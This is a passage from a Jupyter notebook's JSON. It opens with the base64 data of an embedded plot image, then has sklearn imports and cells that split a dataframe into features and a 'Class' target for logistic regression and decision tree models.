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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**Logistic Regression**" + ], + "metadata": { + "id": "8gpvkBE-tlyD" + } + }, + { + "cell_type": "code", + "source": [ + "from sklearn.metrics import accuracy_score,classification_report\n", + "from sklearn.preprocessing import LabelEncoder\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.model_selection import train_test_split \n", + "from sklearn.tree import DecisionTreeClassifier \n", + "from sklearn import tree" + ], + "metadata": { + "id": "8QpnSuhQtWnq" + }, + "execution_count": 17, + "outputs": [] + }, + { + "cell_type": "markdown", + "source": [ + "#**Decision Tree Classifier**" + ], + "metadata": { + "id": "pPqdX_EUtvqD" + } + }, + { + "cell_type": "code", + "source": [ + "X = df.drop('Class',axis=1)" + ], + "metadata": { + "id": "HliN1gKmtr53" + }, + "execution_count": 18, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "y = df['Class']" + ], + "metadata": { + "id": "2FzSGwFvt2JQ" + }, + "execution_count": 19, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "X" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + 